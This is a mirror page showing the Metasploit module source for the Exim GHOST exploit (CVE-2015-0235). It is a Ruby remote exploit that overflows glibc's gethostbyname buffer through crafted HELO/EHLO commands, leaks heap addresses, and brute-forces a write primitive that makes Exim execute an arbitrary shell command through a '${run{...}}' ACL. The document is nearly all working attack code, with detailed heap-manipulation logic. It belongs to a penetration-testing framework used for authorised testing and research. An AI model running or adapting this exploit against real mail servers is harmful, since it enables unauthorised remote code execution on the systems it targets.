Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/smtp/exim_gethostbyname_bof.rb
19664 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
16
'Description' => %q{
17
This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based
18
buffer overflow in the GNU C Library's gethostbyname functions on x86
19
and x86_64 GNU/Linux systems that run the Exim mail server.
20
},
21
'Author' => [
22
'Unknown', # Discovered and published by Qualys, Inc.
23
],
24
'License' => BSD_LICENSE,
25
'References' => [
26
['CVE', '2015-0235'],
27
['US-CERT-VU', '967332'],
28
['OSVDB', '117579'],
29
['BID', '72325'],
30
['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'],
31
['URL', 'https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability'],
32
['URL', 'http://r-7.co/1CAnMc0'] # MSF Wiki doc (this module's manual)
33
],
34
'DisclosureDate' => '2015-01-27',
35
'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
36
'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
37
'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X64], but ^
38
'Payload' => {
39
'Space' => 255, # the shorter the payload, the higher the probability of code execution
40
'BadChars' => "", # we encode the payload ourselves, because ^
41
'DisableNops' => true,
42
'ActiveTimeout' => 24 * 60 * 60 # we may need more than 150 s to execute our bind-shell
43
},
44
'Notes' => {
45
'AKA' => ['ghost'],
46
'Stability' => UNKNOWN_STABILITY,
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
},
50
'Targets' => [['Automatic', {}]],
51
'DefaultTarget' => 0
52
)
53
)
54
55
register_options([
56
Opt::RPORT(25),
57
OptAddress.new('SENDER_HOST_ADDRESS', [
58
true,
59
'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil
60
])
61
])
62
63
register_advanced_options([
64
OptBool.new('FORCE_EXPLOIT', [false, 'Let the exploit run anyway without the check first', nil])
65
])
66
end
67
68
def check
69
# for now, no information about the vulnerable state of the target
70
check_code = Exploit::CheckCode::Unknown
71
72
begin
73
# not exploiting, just checking
74
smtp_connect(false)
75
76
# malloc()ate gethostbyname's buffer, and
77
# make sure its next_chunk isn't the top chunk
78
79
9.times do
80
smtp_send("HELO ", "", "0", "", "", 1024 + 16 - 1 + 0)
81
smtp_recv(HELO_CODES)
82
end
83
84
# overflow (4 bytes) gethostbyname's buffer, and
85
# overwrite its next_chunk's size field with 0x00303030
86
87
smtp_send("HELO ", "", "0", "", "", 1024 + 16 - 1 + 4)
88
# from now on, an exception means vulnerable
89
check_code = Exploit::CheckCode::Vulnerable
90
# raise an exception if no valid SMTP reply
91
reply = smtp_recv(ANY_CODE)
92
# can't determine vulnerable state if smtp_verify_helo() isn't called
93
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
94
95
# realloc()ate gethostbyname's buffer, and
96
# crash (old glibc) or abort (new glibc)
97
# on the overwritten size field
98
99
smtp_send("HELO ", "", "0", "", "", 2048 - 16 - 1 + 4)
100
# raise an exception if no valid SMTP reply
101
reply = smtp_recv(ANY_CODE)
102
# can't determine vulnerable state if smtp_verify_helo() isn't called
103
return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
104
105
# a vulnerable target should've crashed by now
106
check_code = Exploit::CheckCode::Safe
107
rescue
108
peer = "#{rhost}:#{rport}"
109
vprint_status("Caught #{$!.class}: #{$!.message}")
110
ensure
111
smtp_disconnect
112
end
113
114
return check_code
115
end
116
117
def exploit
118
unless datastore['FORCE_EXPLOIT']
119
print_status("Checking if target is vulnerable...")
120
fail_with(Failure::NotVulnerable, "Vulnerability check failed") if check != Exploit::CheckCode::Vulnerable
121
print_good("Target is vulnerable.")
122
end
123
information_leak
124
code_execution
125
end
126
127
private
128
129
HELO_CODES = '250|451|550'
130
ANY_CODE = '[0-9]{3}'
131
132
MIN_HEAP_SHIFT = 80
133
MIN_HEAP_SIZE = 128 * 1024
134
MAX_HEAP_SIZE = 1024 * 1024
135
136
# Exim
137
ALIGNMENT = 8
138
STORE_BLOCK_SIZE = 8192
139
STOREPOOL_MIN_SIZE = 256
140
141
LOG_BUFFER_SIZE = 8192
142
BIG_BUFFER_SIZE = 16384
143
144
SMTP_CMD_BUFFER_SIZE = 16384
145
IN_BUFFER_SIZE = 8192
146
147
# GNU C Library
148
PREV_INUSE = 0x1
149
NS_MAXDNAME = 1025
150
151
# Linux
152
MMAP_MIN_ADDR = 65536
153
154
def fail_with(fail_subject, message)
155
message = "#{message}. For more info: http://r-7.co/1CAnMc0"
156
super(fail_subject, message)
157
end
158
159
def information_leak
160
print_status("Trying information leak...")
161
leaked_arch = nil
162
leaked_addr = []
163
164
# try different heap_shift values, in case Exim's heap address contains
165
# bad chars (NUL, CR, LF) and was mangled during the information leak;
166
# we'll keep the longest one (the least likely to have been truncated)
167
168
16.times do
169
done = catch(:another_heap_shift) do
170
heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
171
vprint_status("#{{ heap_shift: heap_shift }}")
172
173
# write the malloc_chunk header at increasing offsets (8-byte step),
174
# until we overwrite the "503 sender not yet given" error message
175
176
128.step(256, 8) do |write_offset|
177
error = try_information_leak(heap_shift, write_offset)
178
vprint_status("#{{ write_offset: write_offset, error: error }}")
179
throw(:another_heap_shift) if not error
180
next if error == "503 sender not yet given"
181
182
# try a few more offsets (allows us to double-check things,
183
# and distinguish between 32-bit and 64-bit machines)
184
185
error = [error]
186
1.upto(5) do |i|
187
error[i] = try_information_leak(heap_shift, write_offset + i * 8)
188
throw(:another_heap_shift) if not error[i]
189
end
190
vprint_status("#{{ error: error }}")
191
192
_leaked_arch = leaked_arch
193
if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
194
(error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
195
(error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
196
(error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
197
leaked_arch = ARCH_X64
198
199
elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
200
(error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
201
(error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
202
(error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
203
leaked_arch = ARCH_X86
204
205
else
206
throw(:another_heap_shift)
207
end
208
vprint_status("#{{ leaked_arch: leaked_arch }}")
209
fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
210
211
# try different large-bins: most of them should be empty,
212
# so keep the most frequent fd_nextsize address
213
# (a pointer to the malloc_chunk itself)
214
215
count = Hash.new(0)
216
0.upto(9) do |last_digit|
217
error = try_information_leak(heap_shift, write_offset, last_digit)
218
next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
219
next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
220
221
count[error] += 1
222
end
223
vprint_status("#{{ count: count }}")
224
throw(:another_heap_shift) if count.empty?
225
226
# convert count to a nested array of [key, value] arrays and sort it
227
error_count = count.sort { |a, b| b[1] <=> a[1] }
228
error_count = error_count.first # most frequent
229
error = error_count[0]
230
count = error_count[1]
231
throw(:another_heap_shift) unless count >= 6 # majority
232
leaked_addr.push({ error: error, shift: heap_shift })
233
234
# common-case shortcut
235
if (leaked_arch == ARCH_X86 and error[0, 4] == error[4, 4] and error[8..-1] == "er not yet given") or
236
(leaked_arch == ARCH_X64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
237
leaked_addr = [leaked_addr.last] # use this one, and not another
238
throw(:another_heap_shift, true) # done
239
end
240
throw(:another_heap_shift)
241
end
242
throw(:another_heap_shift)
243
end
244
break if done
245
end
246
247
fail_with(Failure::NotVulnerable, "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
248
fail_with(Failure::NotVulnerable, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
249
250
leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
251
leaked_addr = leaked_addr.first # longest
252
error = leaked_addr[:error]
253
shift = leaked_addr[:shift]
254
255
leaked_addr = 0
256
(leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
257
break if i >= error.length
258
259
leaked_addr += error.unpack('C*')[i] * (2**(i * 8))
260
end
261
# leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
262
leaked_addr -= 2 * SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4 * (11 * 1024 + shift) + 3 * 1024 + STORE_BLOCK_SIZE
263
fail_with(Failure::NoTarget, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR
264
265
print_good("Successfully leaked_arch: #{leaked_arch}")
266
print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
267
@leaked = { arch: leaked_arch, addr: leaked_addr }
268
end
269
270
def try_information_leak(heap_shift, write_offset, last_digit = 9)
271
fail_with(Failure::BadConfig, "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
272
fail_with(Failure::BadConfig, "heap_shift") if (heap_shift & 15) != 0
273
fail_with(Failure::BadConfig, "write_offset") if (write_offset & 7) != 0
274
fail_with(Failure::BadConfig, "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
275
276
smtp_connect
277
278
# bulletproof Heap Feng Shui; the hard part is avoiding:
279
# "Too many syntax or protocol errors" (3)
280
# "Too many unrecognized commands" (3)
281
# "Too many nonmail commands" (10)
282
283
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11 * 1024 + 13 - 1 + heap_shift)
284
smtp_recv(250)
285
286
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3 * 1024 + 13 - 1)
287
smtp_recv(250)
288
289
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3 * 1024 + 16 + 13 - 1)
290
smtp_recv(250)
291
292
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8 * 1024 + 16 + 13 - 1)
293
smtp_recv(250)
294
295
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5 * 1024 + 16 + 13 - 1)
296
smtp_recv(250)
297
298
# overflow (3 bytes) gethostbyname's buffer, and
299
# overwrite its next_chunk's size field with 0x003?31
300
# ^ last_digit
301
smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12 * 1024 + 3 - 1 + heap_shift - MIN_HEAP_SHIFT)
302
begin # ^ 0x30 | PREV_INUSE
303
smtp_recv(HELO_CODES)
304
305
smtp_send("RSET")
306
smtp_recv(250)
307
308
smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15 * 1024)
309
smtp_recv(503, 'sender not yet given')
310
311
smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10 * 1024 - 16 - 1 + write_offset)
312
smtp_recv(500, '\A500 unrecognized command\r\n\z')
313
314
smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15 * 1024)
315
smtp_recv(500, '\A500 unrecognized command\r\n\z')
316
317
smtp_send("DATA")
318
reply = smtp_recv(503)
319
320
lines = reply[:lines]
321
fail if lines.size <= 3
322
fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
323
fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
324
fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
325
326
# if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
327
# (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
328
# but happens with lower probability)
329
330
error = lines[+1..-3].join("")
331
error.sub!(/\A503-/mn, "")
332
error.sub!(/\r\n\z/mn, "")
333
error.gsub!(/\r\n503-/mn, "\n")
334
return error
335
rescue
336
return nil
337
end
338
ensure
339
smtp_disconnect
340
end
341
342
def code_execution
343
print_status("Trying code execution...")
344
345
# can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
346
# DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
347
# that rogue child processes cannot use them.
348
349
fail_with(Failure::BadConfig, "encoded payload") if payload.raw != payload.encoded
350
fail_with(Failure::BadConfig, "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
351
# Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
352
# and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
353
encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
354
# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
355
command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
356
vprint_status("Command: #{command}")
357
358
# don't try to execute commands directly, try a very simple ACL first,
359
# to distinguish between exploitation-problems and shellcode-problems
360
361
acldrop = "drop message="
362
message = rand_text_alpha(command.length - acldrop.length)
363
acldrop += message
364
365
max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
366
max_heap_addr = @leaked[:addr]
367
min_heap_addr = nil
368
survived = nil
369
370
# we later fill log_buffer and big_buffer with alpha chars,
371
# which creates a safe-zone at the beginning of the heap,
372
# where we can't possibly crash during our brute-force
373
374
# 4, because 3 copies of sender_helo_name, and step_len;
375
# start big, but refine little by little in case
376
# we crash because we overwrite important data
377
378
helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
379
loop do
380
sender_helo_name = "A" * helo_len
381
address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)
382
383
# the 3 copies of sender_helo_name, allocated by
384
# host_build_sender_fullhost() in POOL_PERM memory
385
386
helo_ip_size = ALIGNMENT +
387
sender_helo_name[+1..-2].length
388
389
sender_fullhost_size = ALIGNMENT +
390
sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length
391
392
sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
393
sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
394
sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
395
).length
396
397
# fit completely into the safe-zone
398
step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
399
(max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
400
loop do
401
# inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
402
# with alpha chars, which creates another safe-zone at the end of the heap)
403
heap_addr = max_heap_addr
404
loop do
405
# try harder the first time around: we obtain better
406
# heap boundaries, and we usually hit our ACL faster
407
408
(min_heap_addr ? 1 : 2).times do
409
# try the same heap_addr several times, but with different random offsets,
410
# in case we crash because our hijacked storeblock's length field is too small
411
# (we don't control what's stored at heap_addr)
412
413
rand_offset = rand(max_rand_offset)
414
vprint_status("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
415
reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
416
vprint_status("#{{ reply: reply }}") if reply
417
418
if reply and
419
reply[:code] == "550" and
420
# detect the parsed ACL, not the "still in text form" ACL (with "=")
421
reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
422
print_good("Brute-force SUCCESS")
423
print_good("Please wait for reply...")
424
# execute command this time, not acldrop
425
reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
426
vprint_status("#{{ reply: reply }}")
427
return handler
428
end
429
430
if not min_heap_addr
431
if reply
432
fail_with(Failure::BadConfig, "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
433
survived = heap_addr
434
else
435
if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
436
# survived should point to our safe-zone at the beginning of the heap
437
fail_with(Failure::UnexpectedReply, "never survived") if not survived
438
print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
439
min_heap_addr = survived
440
end
441
end
442
end
443
end
444
445
heap_addr -= step_len
446
break if min_heap_addr and heap_addr < min_heap_addr
447
end
448
449
break if step_len < 1024
450
451
step_len /= 2
452
end
453
454
helo_len /= 2
455
break if helo_len < 1024
456
# ^ otherwise the 3 copies of sender_helo_name will
457
# fit into the current_block of POOL_PERM memory
458
end
459
fail_with(Failure::UnexpectedReply, "Brute-force FAILURE")
460
end
461
462
# our write-what-where primitive
463
def try_code_execution(len, what, where)
464
fail_with(Failure::UnexpectedReply, "#{what.length} >= #{len}") if what.length >= len
465
fail_with(Failure::UnexpectedReply, "#{where} < 0") if where < 0
466
467
x86 = (@leaked[:arch] == ARCH_X86)
468
min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
469
heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
470
last_digit = 1 + rand(9)
471
472
smtp_connect
473
474
# fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
475
smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
476
"501 : sender address must contain a domain\r\n\0".length)
477
smtp_recv(501, 'sender address must contain a domain')
478
479
smtp_send("RSET")
480
smtp_recv(250)
481
482
# bulletproof Heap Feng Shui; the hard part is avoiding:
483
# "Too many syntax or protocol errors" (3)
484
# "Too many unrecognized commands" (3)
485
# "Too many nonmail commands" (10)
486
487
# / 5, because "\x7F" is non-print, and:
488
# ss = store_get(length + nonprintcount * 4 + 1);
489
smtp_send("BAD1 ", "", "\x7F", "", "", (19 * 1024 + heap_shift) / 5)
490
smtp_recv(500, '\A500 unrecognized command\r\n\z')
491
492
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5 * 1024 + 13 - 1)
493
smtp_recv(250)
494
495
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3 * 1024 + 13 - 1)
496
smtp_recv(250)
497
498
smtp_send("BAD2 ", "", "\x7F", "", "", (13 * 1024 + 128) / 5)
499
smtp_recv(500, '\A500 unrecognized command\r\n\z')
500
501
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3 * 1024 + 16 + 13 - 1)
502
smtp_recv(250)
503
504
# overflow (3 bytes) gethostbyname's buffer, and
505
# overwrite its next_chunk's size field with 0x003?31
506
# ^ last_digit
507
smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5 * 1024 + 64 + 3 - 1)
508
smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE
509
510
# auth_xtextdecode() is the only way to overwrite the beginning of a
511
# current_block of memory (the "storeblock" structure) with arbitrary data
512
# (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
513
# this shapes the rest of our exploit: we overwrite the beginning of the
514
# current_block of POOL_PERM memory with the current_block of POOL_MAIN
515
# memory (allocated by auth_xtextdecode()).
516
517
auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
518
(x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i * 8)) & 255) }
519
auth_prefix += "."
520
521
# also fill log_buffer with alpha chars
522
smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
523
smtp_recv(501, 'invalid data for AUTH')
524
525
smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
526
begin
527
reply = smtp_recv(ANY_CODE)
528
return reply if reply[:code] !~ /#{HELO_CODES}/
529
return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/
530
531
smtp_send("MAIL FROM:<>")
532
reply = smtp_recv(ANY_CODE)
533
return reply if reply[:code] != "250"
534
535
smtp_send("RCPT TO:<postmaster>")
536
reply = smtp_recv
537
return reply
538
rescue
539
return nil
540
end
541
ensure
542
smtp_disconnect
543
end
544
545
DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
546
DOT = '[.]'
547
548
def smtp_connect(exploiting = true)
549
fail_with(Failure::Unknown, "sock isn't nil") if sock
550
551
connect
552
fail_with(Failure::Unknown, "sock is nil") if not sock
553
@smtp_state = :recv
554
555
# Receiving the banner (but we don't really need to check it)
556
smtp_recv(220)
557
return if not exploiting
558
559
sender_host_address = datastore['SENDER_HOST_ADDRESS']
560
if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
561
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
562
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
563
end
564
sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
565
566
# turn helo_seen on (enable the MAIL command)
567
# call smtp_verify_helo() (force fopen() and small malloc()s)
568
# call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
569
smtp_send("HELO #{sender_host_address_octal}")
570
reply = smtp_recv(HELO_CODES)
571
572
if reply[:code] != "250"
573
fail_with(Failure::NoTarget, "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
574
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
575
end
576
577
if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
578
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
579
smtp_active_hostname = $1
580
sender_host_name = $2
581
582
if sender_host_name =~ /\A(.*) at (\S*)\z/mn
583
sender_host_name = $2
584
sender_ident = $1
585
else
586
sender_ident = nil
587
end
588
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
589
590
else
591
# can't double-check sender_host_address here, so only for advanced users
592
fail_with(Failure::BadConfig, "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT']
593
# worst-case scenario
594
smtp_active_hostname = "A" * NS_MAXDNAME
595
sender_host_name = "A" * NS_MAXDNAME
596
sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
597
end
598
599
_sender = @sender
600
@sender = {
601
hostaddr: sender_host_address,
602
hostaddr8: sender_host_address_octal,
603
hostname: sender_host_name,
604
ident: sender_ident,
605
__smtp_active_hostname: smtp_active_hostname
606
}
607
fail_with(Failure::BadConfig, "sender changed") if _sender and _sender != @sender
608
609
# avoid a future pathological case by forcing it now:
610
# "Do NOT free the first successor, if our current block has less than 256 bytes left."
611
smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
612
smtp_recv(501, 'sender address must contain a domain')
613
614
smtp_send("RSET")
615
smtp_recv(250, 'Reset OK')
616
end
617
618
def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
619
fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :send
620
@smtp_state = :sending
621
622
if not arg_pattern
623
fail_with(Failure::BadConfig, "prefix is nil") if not prefix
624
fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
625
command = prefix
626
627
else
628
fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
629
length = arg_length - arg_prefix.length - arg_suffix.length
630
fail_with(Failure::BadConfig, "smtp_send", "len is #{length}") if length <= 0
631
argument = arg_prefix
632
case arg_pattern
633
when String
634
argument += arg_pattern * (length / arg_pattern.length)
635
argument += arg_pattern[0, length % arg_pattern.length]
636
when Method
637
argument += arg_pattern.call(length)
638
end
639
argument += arg_suffix
640
fail_with(Failure::BadConfig, "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
641
command = prefix + argument + suffix
642
end
643
644
fail_with(Failure::BadConfig, "invalid char in cmd") if command.count("^\x20-\x7F") > 0
645
fail_with(Failure::BadConfig, "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
646
command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
647
648
# the following loop works around a bug in the put() method:
649
# "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
650
# (or send_idx and/or send_len could be removed altogether, like here)
651
652
while command and not command.empty?
653
num_sent = sock.put(command)
654
fail_with(Failure::BadConfig, "sent is #{num_sent}") if num_sent <= 0
655
fail_with(Failure::BadConfig, "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
656
command = command[num_sent..-1]
657
end
658
659
@smtp_state = :recv
660
end
661
662
def smtp_recv(expected_code = nil, expected_data = nil)
663
fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :recv
664
@smtp_state = :recving
665
666
failure = catch(:failure) do
667
# parse SMTP replies very carefully (the information
668
# leak injects arbitrary data into multiline replies)
669
670
data = ""
671
while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
672
begin
673
more_data = sock.get_once
674
rescue
675
throw(:failure, "Caught #{$!.class}: #{$!.message}")
676
end
677
throw(:failure, "no more data") if more_data.nil?
678
throw(:failure, "no more data") if more_data.empty?
679
data += more_data
680
end
681
682
throw(:failure, "malformed reply (count)") if data.count("\0") > 0
683
lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
684
throw(:failure, "malformed reply (empty)") if lines.empty?
685
686
code = nil
687
lines.size.times do |i|
688
lines[i].sub!(/\A\r\n/mn, "")
689
lines[i] += "\r\n"
690
691
if i == 0
692
code = lines[i][0, 3]
693
throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
694
if expected_code and code !~ /\A(#{expected_code})\z/mn
695
throw(:failure, "unexpected #{code}, expected #{expected_code}")
696
end
697
end
698
699
line_begins_with = lines[i][0, 4]
700
line_should_begin_with = code + (i == lines.size - 1 ? " " : "-")
701
702
if line_begins_with != line_should_begin_with
703
throw(:failure, "line begins with #{line_begins_with}, " \
704
"should begin with #{line_should_begin_with}")
705
end
706
end
707
708
throw(:failure, "malformed reply (join)") if lines.join("") != data
709
if expected_data and data !~ /#{expected_data}/mn
710
throw(:failure, "unexpected data")
711
end
712
713
reply = { code: code, lines: lines }
714
@smtp_state = :send
715
return reply
716
end
717
718
fail_with(Failure::UnexpectedReply, "#{failure}") if expected_code
719
return nil
720
end
721
722
def smtp_disconnect
723
disconnect if sock
724
fail_with(Failure::Unknown, "sock isn't nil") if sock
725
@smtp_state = :disconnected
726
end
727
end
728
729